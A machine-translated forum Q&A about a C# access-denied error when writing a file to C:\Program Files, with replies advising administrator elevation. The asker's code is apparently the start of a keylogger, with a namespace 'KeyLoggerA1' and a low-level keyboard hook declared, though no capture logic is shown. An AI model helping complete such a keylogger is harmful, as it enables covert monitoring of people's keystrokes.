使用system.io创建TXT文件并将其保存到DISK C:,但访问被拒绝



我正试图使用system.io创建一个TXT文件。我输入了文件路径,但每次运行它时,我的访问都被拒绝,在DISK D:中,对每个文件夹的访问都很好,有解决方案吗?我的意思是,我能在代码中以某种方式访问它吗?

我使用的代码:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Windows.Forms;
using System.IO;
namespace KeyLoggerA1
{
class Program
{
private static int WH_KEYBOARD_LL = 13; //hook procedure type , monitoring low-level keyboard input events
private static int WM_KEYDOWN = 0x0100;
private static IntPtr hook = IntPtr.Zero;
private static LowLevelKeyboardProc llkProcedure = HookCallback;

static void Main(string[] args)
{
string filePath = @"C:Program FilesTest.txt";
if (!File.Exists(filePath))
{
using (StreamWriter sw = File.CreateText(filePath))
{
sw.WriteLine("test");
}
}

我得到的错误:

未处理的异常:System.UnauthorizedAccessException:拒绝访问路径"C:\Program Files\Test.txt"。。。。位于System.IO.File.CreateText(字符串路径(位于C:\Users\mirer\source\repos\ConsoleApp2\ConsoleApp2\Program.cs:line 28中的KeyLoggerA1.Program.Main(String[]args(

如果有人能帮忙,将不胜感激

确保使用System.IO.Path.Combine(),因为它是连接文件路径的正确方式。

现在,对于您的问题,这是完全正常的。您只需要提升程序(以管理员身份运行(即可访问该文件夹。如果您想检查程序是否当前以管理员身份运行,请检查此项和此

程序没有写入目标的适当权限。试着以管理员身份运行程序,或者保存到其他位置(我知道你试图保存到程序文件,所以你可能无法保存到其他地方(

我有一个想法,如果你的文本文件在c中有一个文件夹,你就把它作为身份验证设置,兄弟

相关内容

  • 没有找到相关文章